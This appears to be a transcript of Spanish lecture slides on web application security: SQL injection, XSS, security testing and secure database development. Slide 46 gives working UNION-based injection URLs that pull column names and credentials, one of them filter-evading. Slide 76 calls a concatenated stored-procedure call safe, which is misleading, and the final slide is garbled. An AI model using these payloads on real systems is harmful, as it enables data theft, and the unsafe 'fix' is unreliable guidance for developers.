  • 42. AMENAZAS DE SEGURIDAD  Inyección SQL. http://www.dominio.com/detalles.php?pro ducto_id =1 UNION ALL SELECT 1, 2, 3, column_name from information_schema.columns— Lo anterior devolverá el nombre de las columnas y tablas del esquema principal de la base de datos.
  • 43. AMENAZAS DE SEGURIDAD  Inyección SQL. Si los privilegios de usuario no están configurados correctamente, el atacante conseguirá retornar los nombre de tablas y columnas y así hacer la selección de los datos que necesitará para proseguir con la inyección SQL.
  • 44. AMENAZAS DE SEGURIDAD  Inyección SQL. Para que finalmente sean retornados los datos necesarios para acceder al sistema y también modificar la base de datos, el atacante hará una nueva secuencia de comandos, donde podrá obtener los nombres de usuarios, contraseñas y datos de otras tablas que componen el esquema que está siendo atacado.
  • 45. AMENAZAS DE SEGURIDAD  Inyección SQL. Para retornar los datos de la tabla usuario, como ejemplo, utilizan los códigos siguientes, y si logran tener éxito, el atacante conseguirá manipular el sistema y la base de datos, con libre acceso y más intenciones.
  • 46.  http://www.dominio.com/detalles.php?pr oducto_id =1 UNION ALL SELECT 1, 2, 3, column_name from information_schema.column WHERE table_name=’usuario’—  http://www.dominio.com/detalles.php?pr oducto_id =1 UNION ALL SELECT 1, 2, 3, concat(username,0x 8b,password)from admin/*  http://www.dominio.com/detalles.php?pr oducto_id=1/**/union/**/all/**/select/**/0x 76,concat_ws(0x 8b,username,password),44/*-  http://www.dominio.com/detalles.php?pr oducto_id =1 UNION ALL SELECT 1, 2, 3, column_name from information_schema.column WHERE table_name=’usuario’—  http://www.dominio.com/detalles.php?pr oducto_id =1 UNION ALL SELECT 1, 2, 3, concat(username,0x 8b,password)from admin/*  http://www.dominio.com/detalles.php?pr oducto_id=1/**/union/**/all/**/select/**/0x 76,concat_ws(0x 8b,username,password),44/*-
  • 47. AMENAZAS DE SEGURIDAD La mayoría de los ataques a aplicaciones web ocurren a través de:  Cross-site scripting (XSS).  Inyección SQL.  Phishing. Estos ataques logran su cometido debido a una codificación deficiente y la falta de desinfección de las entradas y salidas de la aplicación web. Conocido como suplantación de identidad, es un modelo de abuso informático que se comete mediante el uso de un tipo de ingeniería social, caracterizado por intentar adquirir información confidencial de forma fraudulenta.
  • 48. AMENAZAS DE SEGURIDAD Una página es vulnerable a XSS cuando aquello que se le envía al servidor (un comentario, un cambio en un perfil, una búsqueda, etc.) se ve posteriormente mostrado en la página de respuesta.
  • 49. AMENAZAS DE SEGURIDAD Esto es, cuando se escribe un comentario en una página y puede leer posteriormente el mensaje, modifica su perfil de usuario y el resto de usuarios puede verlo o se realiza una búsqueda y se muestra un mensaje: “No se han encontrado resultados para <texto>”, se está incluyendo dentro de la página el mismo texto que nosotros hemos introducido.
  • 50. AMENAZAS DE SEGURIDAD Una vez detectada una zona de la aplicación que al recibir texto procedente del usuario lo muestra en la página, es el momento de determinar si es posible utilizar esa zona como punto de ataque de XSS. Para ello es posible insertar un pequeño código Javascript que muestra un mensaje de alerta para descubrir rápidamente si se está actuando en la línea correcta de ataque.
  • 51. AMENAZAS DE SEGURIDAD Determinados filtros Anti-XSS pueden imposibilitar el uso de ciertos caracteres a la hora de introducir el código Javascript. Por ejemplo, las comillas dobles o los caracteres de “mayor que” y “menor que” suelen estar prohibidos.
  • 52. AMENAZAS DE SEGURIDAD Categorías para fallos de XSS:  Permanentes: Su denominación se debe al hecho de que queda almacenada en algún lugar, habitualmente una base de datos SQL, y se va a mostrar a cualquier usuario que visite el sitio.  No permanentes: se introduce como <texto> el código Javascript. La diferencia es que en esta ocasión los efectos de la acción no son permanentes.
  • 53. AMENAZAS DE SEGURIDAD Un ataque de XSS puede tomar el control sobre el navegador del usuario afectado y realizar acciones en la aplicación web. Si se ha logrado que un usuario administrador ejecute un Javascript, las posibilidades de actuación maliciosa son muy superiores. Sería posible borrar todas las noticias de una página o generar una cuenta de administrador con los datos encontrados.
  • 54. AMENAZAS DE SEGURIDAD Haciendo uso de las técnicas de phishing, mediante Javascript, podría modificar el comportamiento y la apariencia de una página web. Esto permite crear un formulario de login falso o redirigir el submit de uno existente hacia un dominio controlado por otro servidor.
  • 55. AMENAZAS DE SEGURIDAD Es posible realizar un ataque de denegación de servicios distribuidos (distributed dennial of services, DDoS). Para ello se forzará mediante código Javascript que los navegadores hagan uso intensivo de recursos muy costosos en ancho de banda o capacidad de procesamiento de un servidor de forma asíncrona.
  • 56. AMENAZAS DE SEGURIDAD Un gusano XSS es un código Javascript que se propaga dentro un sitio web o entre páginas de Internet aprovechando un fallo XSS en la descripción personal de los usuarios de una red social. En esta situación un usuario malintencionado podría crear código Javascript para copiar el código del gusano al perfil del usuario que visita otro perfil infectado y que adicionalmente realizase algún tipo de modificación en los perfiles afectados.
  • 57. AMENAZAS DE SEGURIDAD Las únicas limitaciones la constituye la imposibilidad de ejecutar código fuera del navegador, dado que el ambiente sobre el que se ejecuta no permite el acceso a ficheros del sistema, y a las propias funcionalidades que ofrezca el sitio web objeto del posible ataque.
  • 58. TECNOLOGÍA DE SEGURIDAD. Mientras que la seguridad se basa fundamentalmente en las personas y los procesos, existen varias soluciones técnicas a considerar cuando se diseña, construye y prueban aplicaciones web seguras. A un alto nivel incluyen:
  • 59. TECNOLOGÍA DE SEGURIDAD. Soluciones de alto nivel son:  Black box.  White box.  Fuzzing.  Escáner de seguridad de aplicaciones web (escáner de vulnerabilidad.)  Firewalls de aplicación web (WAF.)  Cracking de contraseña.
  • 60. TECNOLOGÍA DE SEGURIDAD. Soluciones de alto nivel son:  Black box.  White box.  Fuzzing.  Escáner de seguridad de aplicaciones web (escáner de vulnerabilidad.)  Firewalls de aplicación web (WAF.)  Cracking de contraseña. Herramientas de pruebas:  Escáneres de seguridad de aplicaciones web.  Escáneres de vulnerabilidad  Software de prueba de penetración.
  • 61. TECNOLOGÍA DE SEGURIDAD. Soluciones de alto nivel son:  Black box.  White box.  Fuzzing.  Escáner de seguridad de aplicaciones web (escáner de vulnerabilidad.)  Firewalls de aplicación web (WAF.)  Cracking de contraseña. Herramientas de pruebas:  Analizadores estáticos de código fuente.
  • 62. TECNOLOGÍA DE SEGURIDAD. Soluciones de alto nivel son:  Black box.  White box.  Fuzzing.  Escáner de seguridad de aplicaciones web (escáner de vulnerabilidad.)  Firewalls de aplicación web (WAF.)  Cracking de contraseña. Herramientas utilizadas para pruebas de entrada.
  • 63. TECNOLOGÍA DE SEGURIDAD. Fuzzing es una técnica de pruebas de software, a menudo automatizado o semiautomatizado, que proporciona datos inválidos, inesperados o aleatorios a las entradas de un programa de ordenador. Entonces se monitorean las excepciones como caídas, aserciones de código erróneas, o para encontrar potenciales filtraciones de memoria.
  • 64. DESARROLLO SEGURO. El DBA es el responsable superior de declarar las reglas dentro del SGBD. Este es el responsable de conceder o eliminar privilegios, crear o excluir usuarios, y atribuir de un nivel de seguridad a los usuarios del sistema, de acuerdo con la política de la empresa.
  • 65. DESARROLLO SEGURO. El control de flujo de la información es un mecanismo que previene que la información fluyan por canales secretos y violen la política de seguridad al alcanzar usuarios no autorizados. Este regula la distribución o flujo de información entre objetos accesibles.
  • 66. DESARROLLO SEGURO. Un flujo entre el objeto A y el objeto B sucede cuando un programa lee valores de A y escribe valores en B. Los controles de flujo tienen la finalidad de verificar si las informaciones contenidas en algunos objetos no fluyen explícita o implícitamente hacia objetos de menor protección. De esa manera, un usuario no puede obtener indirectamente en B aquello que este o esta no pueda obtener directamente de A.
  • 67. DESARROLLO SEGURO. La codificación de datos es una medida de control final, utilizada para proteger datos sigilosos que se transmiten por medio de algún tipo de red de comunicación. También se puede usar para ofrecer protección adicional para que partes confidenciales de una base de datos no sean accedidas por usuarios no autorizados.
  • 68. DESARROLLO SEGURO. Para eso, los datos están codificados a través de algún algoritmo de codificación. Así, un usuario no autorizado tendrá una gran dificultad para descifrarlos, pero los usuarios autorizados recibirán claves para descifrar esos datos. La criptografía permite disfrazar el mensaje para que, aún con el desvío de la transmisión, el mensaje no sea revelado.
  • 69. DESARROLLO SEGURO. Gestionar usuarios y al esquema de la base de datos donde cada base de datos tiene una lista de nombres de usuarios. Deben estar implementados diferentes perfiles de usuario para diferentes tareas en la base de datos, con el enfoque que cada aplicación o usuario tiene su necesidad de acceso. Puede proteger los perfiles con contraseña, y además usar cotas para restringir el espacio en el disco que será utilizado por los usuarios o aplicativos.
  • 70. DESARROLLO SEGURO. Método de acceso y seguridad multinivel, donde el usuario no tiene un término medio. Tiene o no privilegios. Normalmente usado en BD que clasifican datos de usuarios, donde es necesario un nivel más de seguridad. Se utiliza en sistemas gubernamentales, militares o de inteligencia, así como industriales y corporativas.
  • 71. DESARROLLO SEGURO. Acceso basado en roles, donde estos son creados de acuerdo con los diferentes cargos en una organización y los usuarios están asociados a roles según sus responsabilidades y cualificaciones. Se pueden designar varios individuos a un mismo rol. Los privilegios de seguridad comunes a un rol se conceden a su nombre y cualquier individuo designado para ese rol automáticamente los tendrá. Los usuarios pueden moverse fácilmente de un rol a otro.
  • 72. DESARROLLO SEGURO. Los usuarios pueden moverse fácilmente entre roles. Los cambios en los entornos computacionales, la instalación de sistemas y eliminación de aplicaciones antiguas, modifican sólo el conjunto de permisos atribuidos a los diferentes roles, sin afectarlos. La separación de tareas es un requisito importante. La exclusión mutua de roles es un método que puede implementarse.
  • 73. DESARROLLO SEGURO. Control de acceso utilizando triggers para crear mecanismos de seguridad más complejos que pueden ser disparados cada vez que se llama un evento o que pueden ser disparados antes o después del comando especificado con el objetivo de proveer mayor rigor en el control de la seguridad. Si el comando ejecutado por el usuario no es validado por los Triggers, se activa un error para impedir modificaciones indebidas.
  • 74. DESARROLLO SEGURO. SELECT * FROM Usuario WHERE usu_usuario = '" $login."' AND usu_contrasenia = '" $contrasenia."'; Cuando se utiliza la política de seguridad de insertar todas las consultas en STORED PROCEDURES, la ejecución se limitará al objeto de la base de datos, es decir, no existe una consulta directa a la base de datos por parte del sistema.
  • 75. DESARROLLO SEGURO. El objeto STORED PROCEDURE crea un filtro entre la consulta y la base de datos. En la estructura del STORED PROCEDURE, existe la consulta, pero la codificación de esta no está explícita en el código del sistema y, así, se realiza una llamada al objeto pasando hacia este los valores de las variables de entrada:
  • 76. DESARROLLO SEGURO. CALL TCC_Usuario_SELECT('".$usuario."'," $contrasenia."') Usando este código, tanto los ataques vía formularios de credenciales como también vía URL quedarán prevenidos, protegiendo así la base de datos y sus registros.
  • 77. DESARROLLO SEGURO. Con view es posible permitir acceso, conceder privilegios, ocultar líneas y columnas de información confidenciales o restringir en la tabla original. Los privilegios y concesiones están definidos en la vista y no afectan a la tabla base, estando el acceso de los usuarios delimitado por la vista, la cual se genera creando un subconjunto de datos en la tabla referenciada. La opción With Verification da mayor seguridad porque no permite modificar la tabla sin tener los privilegios dentro de la vista.
  • 78. BIBLIOGRAFÍA. Desarrollo seguro de aplicaciones web. Ariel Ayala Montes. 2014
  • 79. AMENAZAS DE SEGURIDAD Puede interesar que los elementos de una lista estén ordenados: una vez que finalizó la inscripción en un curso, tener a los listados de los alumnos por orden de llegada puede ser muy incómodo, siempre será preferible tenerlos ordenados por número para realizar cualquier comprobación. Se obtiene una referenc <section> en el docum contenido con un eleme ahí, el usuario solo verá la pantalla. Se obtiene una ref elemento <section> e reemplaza su contenid <p>. A partir de ahí, el elemento <p> en la pan